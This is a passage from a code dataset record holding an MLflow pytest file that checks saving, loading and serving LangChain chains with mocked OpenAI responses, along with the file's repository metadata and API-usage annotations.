"django.contrib.admin", "line_number": 19, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 24, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 34, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 34, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 40, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 40, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 47, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 47, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 63, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 63, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 69, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 69, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 69, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 70, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 70, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 70, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 71, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 71, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 71, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 72, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 72, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 72, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 73, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 73, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 73, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 74, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 74, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 74, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 75, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 75, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 75, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 76, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 76, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 76, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 77, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 77, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 77, "usage_type": "name"}]}
{"seq_id": "36081528816", "text": "import os\nimport shutil\nimport langchain\nimport mlflow\nimport pytest\nimport transformers\nimport json\nimport importlib\nimport sqlite3\n\n\nimport openai\nfrom contextlib import contextmanager\nfrom packaging import version\nfrom langchain import SQLDatabase\nfrom langchain.chains import (\n    APIChain,\n    ConversationChain,\n    LLMChain,\n    RetrievalQA,\n    HypotheticalDocumentEmbedder,\n    SQLDatabaseChain,\n)\nfrom langchain.chains.api import open_meteo_docs\nfrom langchain.chains.base import Chain\nfrom langchain.chains.qa_with_sources import load_qa_with_sources_chain\nfrom langchain.document_loaders import TextLoader\nfrom langchain.embeddings.fake import FakeEmbeddings\nfrom langchain.evaluation.qa import QAEvalChain\nfrom langchain.llms import HuggingFacePipeline, OpenAI\nfrom langchain.llms.base import LLM\nfrom langchain.memory import ConversationBufferMemory\nfrom langchain.prompts import PromptTemplate\nfrom langchain.requests import TextRequestsWrapper\nfrom langchain.text_splitter import CharacterTextSplitter\nfrom langchain.vectorstores import FAISS\nfrom pyspark.sql import SparkSession\nfrom typing import Any, List, Mapping, Optional, Dict\nfrom tests.helper_functions import pyfunc_serve_and_score_model\nfrom mlflow.exceptions import MlflowException\nfrom mlflow.openai.utils import (\n    _mock_chat_completion_response,\n    _mock_request,\n    _MockResponse,\n    TEST_CONTENT,\n)\nimport mlflow.pyfunc.scoring_server as pyfunc_scoring_server\nfrom mlflow.deployments import PredictionsResponse\n\n\n@contextmanager\ndef _mock_async_request(content=TEST_CONTENT):\n    with _mock_request(return_value=_mock_chat_completion_response(content)) as m:\n        yield m\n\n\n@pytest.fixture\ndef model_path(tmp_path):\n    return tmp_path / \"model\"\n\n\n@pytest.fixture(scope=\"module\")\ndef spark():\n    with SparkSession.builder.master(\"local[*]\").getOrCreate() as s:\n        yield s\n\n\n@pytest.fixture(autouse=True)\ndef set_envs(monkeypatch):\n    monkeypatch.setenvs(\n        {\n            \"MLFLOW_TESTING\": \"true\",\n            \"OPENAI_API_KEY\": \"test\",\n            \"SERPAPI_API_KEY\": \"test\",\n        }\n    )\n    importlib.reload(openai)\n\n\ndef create_huggingface_model(model_path):\n    architecture = \"lordtt13/emo-mobilebert\"\n    mlflow.transformers.save_model(\n        transformers_model={\n            \"model\": transformers.TFMobileBertForSequenceClassification.from_pretrained(\n                architecture\n            ),\n            \"tokenizer\": transformers.AutoTokenizer.from_pretrained(architecture),\n        },\n        path=model_path,\n    )\n    llm = mlflow.transformers.load_model(model_path)\n    prompt = PromptTemplate(\n        input_variables=[\"product\"],\n        template=\"What is a good name for a company that makes {product}?\",\n    )\n    hf_pipe = HuggingFacePipeline(pipeline=llm)\n    return LLMChain(llm=hf_pipe, prompt=prompt)\n\n\ndef create_openai_llmchain():\n    llm = OpenAI(temperature=0.9)\n    prompt = PromptTemplate(\n        input_variables=[\"product\"],\n        template=\"What is a good name for a company that makes {product}?\",\n    )\n    return LLMChain(llm=llm, prompt=prompt)\n\n\ndef create_qa_eval_chain():\n    llm = OpenAI(temperature=0)\n    return QAEvalChain.from_llm(llm)\n\n\ndef create_qa_with_sources_chain():\n    # StuffDocumentsChain\n    return load_qa_with_sources_chain(OpenAI(temperature=0), chain_type=\"stuff\")\n\n\ndef create_openai_llmagent():\n    from langchain.agents import load_tools\n    from langchain.agents import initialize_agent\n    from langchain.agents import AgentType\n\n    # First, let's load the language model we're going to use to control the agent.\n    llm = OpenAI(temperature=0)\n\n    # Next, let's load some tools to use.\n    tools = load_tools([\"serpapi\", \"llm-math\"], llm=llm)\n\n    # Finally, let's initialize an agent with the tools.\n    return initialize_agent(tools, llm, agent=AgentType.ZERO_SHOT_REACT_DESCRIPTION, verbose=True)\n\n\nclass FakeLLM(LLM):\n    \"\"\"Fake LLM wrapper for testing purposes.\"\"\"\n\n    queries: Optional[Mapping] = None\n\n    @property\n    def _llm_type(self) -> str:\n        \"\"\"Return type of llm.\"\"\"\n        return \"fake\"\n\n    # pylint: disable=arguments-differ\n    def _call(self, prompt: str, stop: Optional[List[str]] = None, run_manager=None) -> str:\n        \"\"\"First try to lookup in queries, else return 'foo' or 'bar'.\"\"\"\n        if self.queries is not None:\n            return self.queries[prompt]\n        if stop is None:\n            return \"foo\"\n        else:\n            return \"bar\"\n\n    @property\n    def _identifying_params(self) -> Mapping[str, Any]:\n        return {}\n\n\nclass FakeChain(Chain):\n    \"\"\"Fake chain class for testing purposes.\"\"\"\n\n    be_correct: bool = True\n    the_input_keys: List[str] = [\"foo\"]\n    the_output_keys: List[str] = [\"bar\"]\n\n    @property\n    def input_keys(self) -> List[str]:\n        \"\"\"Input keys.\"\"\"\n        return self.the_input_keys\n\n    @property\n    def output_keys(self) -> List[str]:\n        \"\"\"Output key of bar.\"\"\"\n        return self.the_output_keys\n\n    # pylint: disable=arguments-differ\n    def _call(self, inputs: Dict[str, str], run_manager=None) -> Dict[str, str]:\n        if self.be_correct:\n            return {\"bar\": \"baz\"}\n        else:\n            return {\"baz\": \"bar\"}\n\n\ndef test_langchain_native_save_and_load_model(model_path):\n    model = create_openai_llmchain()\n    mlflow.langchain.save_model(model, model_path)\n\n    loaded_model = mlflow.langchain.load_model(model_path)\n    assert type(loaded_model) == langchain.chains.llm.LLMChain\n    assert type(loaded_model.llm) == langchain.llms.openai.OpenAI\n    assert type(loaded_model.prompt) == langchain.prompts.PromptTemplate\n    assert loaded_model.prompt.template == \"What is a good name for a company that makes {product}?\"\n\n\ndef test_langchain_native_log_and_load_model():\n    model = create_openai_llmchain()\n    with mlflow.start_run():\n        logged_model = mlflow.langchain.log_model(model, \"langchain_model\")\n\n    loaded_model = mlflow.langchain.load_model(logged_model.model_uri)\n\n    assert \"langchain\" in logged_model.flavors\n    assert str(logged_model.signature.inputs) == \"['product': string]\"\n    assert str(logged_model.signature.outputs) == \"['text': string]\"\n\n    assert type(loaded_model) == langchain.chains.llm.LLMChain\n    assert type(loaded_model.llm) == langchain.llms.openai.OpenAI\n    assert type(loaded_model.prompt) == langchain.prompts.PromptTemplate\n    assert loaded_model.prompt.template == \"What is a good name for a company that makes {product}?\"\n\n\ndef test_pyfunc_load_openai_model():\n    model = create_openai_llmchain()\n    with mlflow.start_run():\n        logged_model = mlflow.langchain.log_model(model, \"langchain_model\")\n\n    loaded_model = mlflow.pyfunc.load_model(logged_model.model_uri)\n\n    assert \"langchain\" in logged_model.flavors\n    assert type(loaded_model) == mlflow.pyfunc.PyFuncModel\n\n\ndef test_langchain_model_predict():\n    with _mock_request(return_value=_mock_chat_completion_response()):\n        model = create_openai_llmchain()\n        with mlflow.start_run():\n            logged_model = mlflow.langchain.log_model(model, \"langchain_model\")\n        loaded_model = mlflow.pyfunc.load_model(logged_model.model_uri)\n        result = loaded_model.predict([{\"product\": \"MLflow\"}])\n        assert result == [TEST_CONTENT]\n\n\ndef test_pyfunc_spark_udf_with_langchain_model(spark):\n    model = create_openai_llmchain()\n    with mlflow.start_run():\n        logged_model = mlflow.langchain.log_model(model, \"langchain_model\")\n    loaded_model = mlflow.pyfunc.spark_udf(spark, logged_model.model_uri, result_type=\"string\")\n    df = spark.createDataFrame([(\"MLflow\",), (\"Spark\",)], [\"product\"])\n    df = df.withColumn(\"answer\", loaded_model())\n    pdf = df.toPandas()\n    assert pdf[\"answer\"].tolist() == [TEST_CONTENT, TEST_CONTENT]\n\n\ndef test_langchain_log_huggingface_hub_model_metadata(model_path):\n    model = create_huggingface_model(model_path)\n    with mlflow.start_run():\n        logged_model = mlflow.langchain.log_model(model, \"langchain_model\")\n\n    loaded_model = mlflow.langchain.load_model(logged_model.model_uri)\n\n    assert \"langchain\" in logged_model.flavors\n    assert str(logged_model.signature.inputs) == \"['product': string]\"\n    assert str(logged_model.signature.outputs) == \"['text': string]\"\n\n    assert type(loaded_model) == langchain.chains.llm.LLMChain\n    assert type(loaded_model.llm) == langchain.llms.huggingface_pipeline.HuggingFacePipeline\n    assert type(loaded_model.prompt) == langchain.prompts.PromptTemplate\n    assert loaded_model.prompt.template == \"What is a good name for a company that makes {product}?\"\n\n\ndef test_langchain_agent_model_predict():\n    langchain_agent_output = {\n        \"id\": \"chatcmpl-123\",\n        \"object\": \"chat.completion\",\n        \"created\": 1677652288,\n        \"choices\": [\n            {\n                \"index\": 0,\n                \"finish_reason\": \"stop\",\n                \"text\": f\"Final Answer: {TEST_CONTENT}\",\n            }\n        ],\n        \"usage\": {\"prompt_tokens\": 9, \"completion_tokens\": 12, \"total_tokens\": 21},\n    }\n    model = create_openai_llmagent()\n    with mlflow.start_run():\n        logged_model = mlflow.langchain.log_model(model, \"langchain_model\")\n    loaded_model = mlflow.pyfunc.load_model(logged_model.model_uri)\n    langchain_input = {\n        \"input\": \"What was the high temperature in SF yesterday in Fahrenheit? \"\n        \"What is that number raised to the .023 power?\"\n    }\n    with _mock_request(return_value=_MockResponse(200, langchain_agent_output)):\n        result = loaded_model.predict([langchain_input])\n        assert result == [TEST_CONTENT]\n\n    inference_payload = json.dumps({\"inputs\": langchain_input})\n    langchain_agent_output_serving = {\"predictions\": langchain_agent_output}\n    with _mock_request(return_value=_MockResponse(200, langchain_agent_output_serving)):\n        response = pyfunc_serve_and_score_model(\n            logged_model.model_uri,\n            data=inference_payload,\n            content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,\n            extra_args=[\"--env-manager\", \"local\"],\n        )\n\n        assert (\n            PredictionsResponse.from_json(response.content.decode(\"utf-8\"))\n            == langchain_agent_output_serving\n        )\n\n\ndef test_langchain_native_log_and_load_qaevalchain():\n    # QAEvalChain is a subclass of LLMChain\n    model = create_qa_eval_chain()\n    with mlflow.start_run():\n        logged_model = mlflow.langchain.log_model(model, \"langchain_model\")\n\n    loaded_model = mlflow.langchain.load_model(logged_model.model_uri)\n    assert model == loaded_model\n\n\ndef test_langchain_native_log_and_load_qa_with_sources_chain():\n    # StuffDocumentsChain is a subclass of Chain\n    model = create_qa_with_sources_chain()\n    with mlflow.start_run():\n        logged_model = mlflow.langchain.log_model(model, \"langchain_model\")\n\n    loaded_model = mlflow.langchain.load_model(logged_model.model_uri)\n    assert model == loaded_model\n\n\n@pytest.mark.skipif(\n    version.parse(langchain.__version__) < version.parse(\"0.0.194\"),\n    reason=\"Saving RetrievalQA chains requires langchain>=0.0.194\",\n)\ndef test_log_and_load_retrieval_qa_chain(tmp_path):\n    # Create the vector db, persist the db to a local fs folder\n    loader = TextLoader(\"tests/langchain/state_of_the_union.txt\")\n    documents = loader.load()\n    text_splitter = CharacterTextSplitter(chunk_size=1000, chunk_overlap=0)\n    docs = text_splitter.split_documents(documents)\n    embeddings = FakeEmbeddings(size=5)\n    db = FAISS.from_documents(docs, embeddings)\n    persist_dir = str(tmp_path / \"faiss_index\")\n    db.save_local(persist_dir)\n\n    # Create the RetrievalQA chain\n    retrievalQA = RetrievalQA.from_llm(llm=OpenAI(), retriever=db.as_retriever())\n\n    # Log the RetrievalQA chain\n    def load_retriever(persist_directory):\n        embeddings = FakeEmbeddings(size=5)\n        vectorstore = FAISS.load_local(persist_directory, embeddings)\n        return vectorstore.as_retriever()\n\n    with mlflow.start_run():\n        logged_model = mlflow.langchain.log_model(\n            retrievalQA,\n            \"retrieval_qa_chain\",\n            loader_fn=load_retriever,\n            persist_dir=persist_dir,\n        )\n\n    # Remove the persist_dir\n    shutil.rmtree(persist_dir)\n\n    # Load the chain\n    loaded_model = mlflow.langchain.load_model(logged_model.model_uri)\n    assert loaded_model == retrievalQA\n\n    loaded_pyfunc_model = mlflow.pyfunc.load_model(logged_model.model_uri)\n    langchain_input = {\"query\": \"What did the president say about Ketanji Brown Jackson\"}\n    result = loaded_pyfunc_model.predict([langchain_input])\n    assert result == [TEST_CONTENT]\n\n    # Serve the chain\n    inference_payload = json.dumps({\"inputs\": langchain_input})\n    langchain_output_serving = {\"predictions\": [TEST_CONTENT]}\n\n    response = pyfunc_serve_and_score_model(\n        logged_model.model_uri,\n        data=inference_payload,\n        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,\n        extra_args=[\"--env-manager\", \"local\"],\n    )\n\n    assert (\n        PredictionsResponse.from_json(response.content.decode(\"utf-8\")) == langchain_output_serving\n    )\n\n\ndef load_requests_wrapper(_):\n    return TextRequestsWrapper(headers=None, aiosession=None)\n\n\ndef test_log_and_load_api_chain():\n    llm = OpenAI(temperature=0)\n    apichain = APIChain.from_llm_and_api_docs(llm, open_meteo_docs.OPEN_METEO_DOCS, verbose=True)\n\n    # Log the APIChain\n    with mlflow.start_run():\n        logged_model = mlflow.langchain.log_model(\n            apichain,\n            \"api_chain\",\n            loader_fn=load_requests_wrapper,\n        )\n\n    # Load the chain\n    loaded_model = mlflow.langchain.load_model(logged_model.model_uri)\n    assert loaded_model == apichain\n\n\ndef load_base_embeddings(_):\n    return FakeEmbeddings(size=32)\n\n\n@pytest.mark.skip(reason=\"This fails due to https://github.com/hwchase17/langchain/issues/5131\")\ndef test_log_and_load_hyde_chain():\n    # Create the HypotheticalDocumentEmbedder chain\n    base_embeddings = FakeEmbeddings(size=32)\n    llm = OpenAI()\n    # Load with `web_search` prompt\n    embeddings = HypotheticalDocumentEmbedder.from_llm(llm, base_embeddings, \"web_search\")\n\n    # Log the hyde chain\n    with mlflow.start_run():\n        logged_model = mlflow.langchain.log_model(\n            embeddings,\n            \"hyde_chain\",\n            loader_fn=load_base_embeddings,\n        )\n\n    # Load the chain\n    loaded_model = mlflow.langchain.load_model(logged_model.model_uri)\n    assert loaded_model == embeddings\n\n\ndef create_sqlite_db_file(db_dir):\n    # Connect to SQLite database (or create it if it doesn't exist)\n    with sqlite3.connect(db_dir) as conn:\n        # Create a cursor\n        c = conn.cursor()\n\n        # Create a dummy table\n        c.execute(\n            \"\"\"\n            CREATE TABLE IF NOT EXISTS employees(\n                id INTEGER PRIMARY KEY,\n                name TEXT,\n                salary REAL,\n                department TEXT,\n                position TEXT,\n                hireDate TEXT);\n            \"\"\"\n        )\n\n        # Insert dummy data into the table\n        c.execute(\n            \"\"\"\n            INSERT INTO employees (name, salary, department, position, hireDate)\n            VALUES ('John Doe', 80000, 'IT', 'Engineer', '2023-06-26');\n            \"\"\"\n        )\n\n\ndef load_db(persist_dir):\n    db_file_path = os.path.join(persist_dir, \"my_database.db\")\n    sqlite_uri = f\"sqlite:///{db_file_path}\"\n    return SQLDatabase.from_uri(sqlite_uri)\n\n\n@pytest.mark.skip(reason=\"This fails due to https://github.com/hwchase17/langchain/issues/6889\")\ndef test_log_and_load_sql_database_chain(tmp_path):\n    # Create the SQLDatabaseChain\n    db_file_path = tmp_path / \"my_database.db\"\n    sqlite_uri = f\"sqlite:///{db_file_path}\"\n    llm = OpenAI(temperature=0)\n    create_sqlite_db_file(db_file_path)\n    db = SQLDatabase.from_uri(sqlite_uri)\n    db_chain = SQLDatabaseChain.from_llm(llm, db)\n\n    # Log the SQLDatabaseChain\n    with mlflow.start_run():\n        logged_model = mlflow.langchain.log_model(\n            db_chain,\n            \"sql_database_chain\",\n            loader_fn=load_db,\n            persist_dir=tmp_path,\n        )\n\n    # Load the chain\n    loaded_model = mlflow.langchain.load_model(logged_model.model_uri)\n    assert loaded_model == db_chain\n\n\ndef test_saving_not_implemented_for_memory():\n    conversation = ConversationChain(llm=OpenAI(temperature=0), memory=ConversationBufferMemory())\n    with pytest.raises(\n        ValueError,\n        match=\"Saving of memory is not yet supported.\",\n    ):\n        with mlflow.start_run():\n            mlflow.langchain.log_model(conversation, \"conversation_model\")\n\n\ndef test_saving_not_implemented_chain_type():\n    chain = FakeChain()\n    with pytest.raises(\n        NotImplementedError,\n        match=\"Saving not supported for this chain type\",\n    ):\n        with mlflow.start_run():\n            mlflow.langchain.log_model(chain, \"fake_chain\")\n\n\ndef test_unsupported_class():\n    llm = FakeLLM()\n    with pytest.raises(\n        MlflowException,\n        match=\"MLflow langchain flavor only supports logging subclasses of \"\n        + \"langchain.chains.base.Chain\",\n    ):\n        with mlflow.start_run():\n            mlflow.langchain.log_model(llm, \"fake_llm\")\n", "repo_name": "lhuang1109/MLOpstest", "sub_path": "tests/langchain/test_langchain_model_export.py", "file_name": "test_langchain_model_export.py", "file_ext": "py", "file_size_in_byte": 17258, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "mlflow.openai.utils.TEST_CONTENT", "line_number": 52, "usage_type": "name"}, {"api_name": "mlflow.openai.utils._mock_request", "line_number": 53, "usage_type": "call"}, {"api_name": "mlflow.openai.utils._mock_chat_completion_response", "line_number": 53, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 51, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession.builder.master", "line_number": 64, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 64, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 62, "usage_type": "call"}, {"api_name": "importlib.reload", "line_number": 77, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 68, "usage_type": "call"}, {"api_name": "mlflow.transformers.save_model", "line_number": 82, "usage_type": "call"}, {"api_name": "mlflow.transformers", "line_number": 82, "usage_type": "attribute"}, {"api_name": "transformers.TFMobileBertForSequenceClassification.from_pretrained", "line_number": 84, "usage_type": "call"}, {"api_name": "transformers.TFMobileBertForSequenceClassification", "line_number": 84, "usage_type": "attribute"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 87, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 87, "usage_type": "attribute"}, {"api_name": "mlflow.transformers.load_model", "line_number": 91, "usage_type": "call"}, {"api_name": "mlflow.transformers", "line_number": 91, "usage_type": "attribute"}, {"api_name": "langchain.prompts.PromptTemplate", "line_number": 92, "usage_type": "call"}, {"api_name": "langchain.llms.HuggingFacePipeline", "line_number": 96, "usage_type": "call"}, {"api_name": "langchain.chains.LLMChain", "line_number": 97, "usage_type": "call"}, {"api_name": "langchain.llms.OpenAI", "line_number": 101, "usage_type": "call"}, {"api_name": "langchain.prompts.PromptTemplate", "line_number": 102, "usage_type": "call"}, {"api_name": "langchain.chains.LLMChain", "line_number": 106, "usage_type": "call"}, {"api_name": "langchain.llms.OpenAI", "line_number": 110, "usage_type": "call"}, {"api_name": "langchain.evaluation.qa.QAEvalChain.from_llm", "line_number": 111, "usage_type": "call"}, {"api_name": "langchain.evaluation.qa.QAEvalChain", "line_number": 111, "usage_type": "name"}, {"api_name": "langchain.chains.qa_with_sources.load_qa_with_sources_chain", "line_number": 116, "usage_type": "call"}, {"api_name": "langchain.llms.OpenAI", "line_number": 116, "usage_type": "call"}, {"api_name": "langchain.llms.OpenAI", "line_number": 125, "usage_type": "call"}, {"api_name": "langchain.agents.load_tools", "line_number": 128, "usage_type": "call"}, {"api_name": "langchain.agents.initialize_agent", "line_number": 131, "usage_type": "call"}, {"api_name": "langchain.agents.AgentType.ZERO_SHOT_REACT_DESCRIPTION", "line_number": 131, "usage_type": "attribute"}, {"api_name": "langchain.agents.AgentType", "line_number": 131, "usage_type": "name"}, {"api_name": "langchain.llms.base.LLM", "line_number": 134, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 137, "usage_type": "name"}, {"api_name": "typing.Mapping", "line_number": 137, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 145, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 145, "usage_type": "name"}, {"api_name": "typing.Mapping", "line_number": 155, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 155, "usage_type": "name"}, {"api_name": "langchain.chains.base.Chain", "line_number": 159, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 163, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 164, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 167, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 172, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 177, "usage_type": "name"}, {"api_name": "mlflow.langchain.save_model", "line_number": 186, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 186, "usage_type": "attribute"}, {"api_name": "mlflow.langchain.load_model", "line_number": 188, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 188, "usage_type": "attribute"}, {"api_name": "langchain.chains", "line_number": 189, "usage_type": "attribute"}, {"api_name": "langchain.llms", "line_number": 190, "usage_type": "attribute"}, {"api_name": "langchain.prompts", "line_number": 191, "usage_type": "attribute"}, {"api_name": "mlflow.start_run", "line_number": 197, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 198, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 198, "usage_type": "attribute"}, {"api_name": "mlflow.langchain.load_model", "line_number": 200, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 200, "usage_type": "attribute"}, {"api_name": "langchain.chains", "line_number": 206, "usage_type": "attribute"}, {"api_name": "langchain.llms", "line_number": 207, "usage_type": "attribute"}, {"api_name": "langchain.prompts", "line_number": 208, "usage_type": "attribute"}, {"api_name": "mlflow.start_run", "line_number": 214, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 215, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 215, "usage_type": "attribute"}, {"api_name": "mlflow.pyfunc.load_model", "line_number": 217, "usage_type": "call"}, {"api_name": "mlflow.pyfunc", "line_number": 217, "usage_type": "attribute"}, {"api_name": "mlflow.pyfunc", "line_number": 220, "usage_type": "attribute"}, {"api_name": "mlflow.openai.utils._mock_request", "line_number": 224, "usage_type": "call"}, {"api_name": "mlflow.openai.utils._mock_chat_completion_response", "line_number": 224, "usage_type": "call"}, {"api_name": "mlflow.start_run", "line_number": 226, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 227, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 227, "usage_type": "attribute"}, {"api_name": "mlflow.pyfunc.load_model", "line_number": 228, "usage_type": "call"}, {"api_name": "mlflow.pyfunc", "line_number": 228, "usage_type": "attribute"}, {"api_name": "mlflow.openai.utils.TEST_CONTENT", "line_number": 230, "usage_type": "name"}, {"api_name": "mlflow.start_run", "line_number": 235, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 236, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 236, "usage_type": "attribute"}, {"api_name": "mlflow.pyfunc.spark_udf", "line_number": 237, "usage_type": "call"}, {"api_name": "mlflow.pyfunc", "line_number": 237, "usage_type": "attribute"}, {"api_name": "mlflow.openai.utils.TEST_CONTENT", "line_number": 241, "usage_type": "name"}, {"api_name": "mlflow.start_run", "line_number": 246, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 247, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 247, "usage_type": "attribute"}, {"api_name": "mlflow.langchain.load_model", "line_number": 249, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 249, "usage_type": "attribute"}, {"api_name": "langchain.chains", "line_number": 255, "usage_type": "attribute"}, {"api_name": "langchain.llms", "line_number": 256, "usage_type": "attribute"}, {"api_name": "langchain.prompts", "line_number": 257, "usage_type": "attribute"}, {"api_name": "mlflow.openai.utils.TEST_CONTENT", "line_number": 270, "usage_type": "name"}, {"api_name": "mlflow.start_run", "line_number": 276, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 277, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 277, "usage_type": "attribute"}, {"api_name": "mlflow.pyfunc.load_model", "line_number": 278, "usage_type": "call"}, {"api_name": "mlflow.pyfunc", "line_number": 278, "usage_type": "attribute"}, {"api_name": "mlflow.openai.utils._mock_request", "line_number": 283, "usage_type": "call"}, {"api_name": "mlflow.openai.utils._MockResponse", "line_number": 283, "usage_type": "call"}, {"api_name": "mlflow.openai.utils.TEST_CONTENT", "line_number": 285, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 287, "usage_type": "call"}, {"api_name": "mlflow.openai.utils._mock_request", "line_number": 289, "usage_type": "call"}, {"api_name": "mlflow.openai.utils._MockResponse", "line_number": 289, "usage_type": "call"}, {"api_name": "tests.helper_functions.pyfunc_serve_and_score_model", "line_number": 290, "usage_type": "call"}, {"api_name": "mlflow.pyfunc.scoring_server.CONTENT_TYPE_JSON", "line_number": 293, "usage_type": "attribute"}, {"api_name": "mlflow.pyfunc.scoring_server", "line_number": 293, "usage_type": "name"}, {"api_name": "mlflow.deployments.PredictionsResponse.from_json", "line_number": 298, "usage_type": "call"}, {"api_name": "mlflow.deployments.PredictionsResponse", "line_number": 298, "usage_type": "name"}, {"api_name": "mlflow.start_run", "line_number": 306, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 307, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 307, "usage_type": "attribute"}, {"api_name": "mlflow.langchain.load_model", "line_number": 309, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 309, "usage_type": "attribute"}, {"api_name": "mlflow.start_run", "line_number": 316, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 317, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 317, "usage_type": "attribute"}, {"api_name": "mlflow.langchain.load_model", "line_number": 319, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 319, "usage_type": "attribute"}, {"api_name": "langchain.document_loaders.TextLoader", "line_number": 329, "usage_type": "call"}, {"api_name": "langchain.text_splitter.CharacterTextSplitter", "line_number": 331, "usage_type": "call"}, {"api_name": "langchain.embeddings.fake.FakeEmbeddings", "line_number": 333, "usage_type": "call"}, {"api_name": "langchain.vectorstores.FAISS.from_documents", "line_number": 334, "usage_type": "call"}, {"api_name": "langchain.vectorstores.FAISS", "line_number": 334, "usage_type": "name"}, {"api_name": "langchain.chains.RetrievalQA.from_llm", "line_number": 339, "usage_type": "call"}, {"api_name": "langchain.chains.RetrievalQA", "line_number": 339, "usage_type": "name"}, {"api_name": "langchain.llms.OpenAI", "line_number": 339, "usage_type": "call"}, {"api_name": "langchain.embeddings.fake.FakeEmbeddings", "line_number": 343, "usage_type": "call"}, {"api_name": "langchain.vectorstores.FAISS.load_local", "line_number": 344, "usage_type": "call"}, {"api_name": "langchain.vectorstores.FAISS", "line_number": 344, "usage_type": "name"}, {"api_name": "mlflow.start_run", "line_number": 347, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 348, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 348, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 356, "usage_type": "call"}, {"api_name": "mlflow.langchain.load_model", "line_number": 359, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 359, "usage_type": 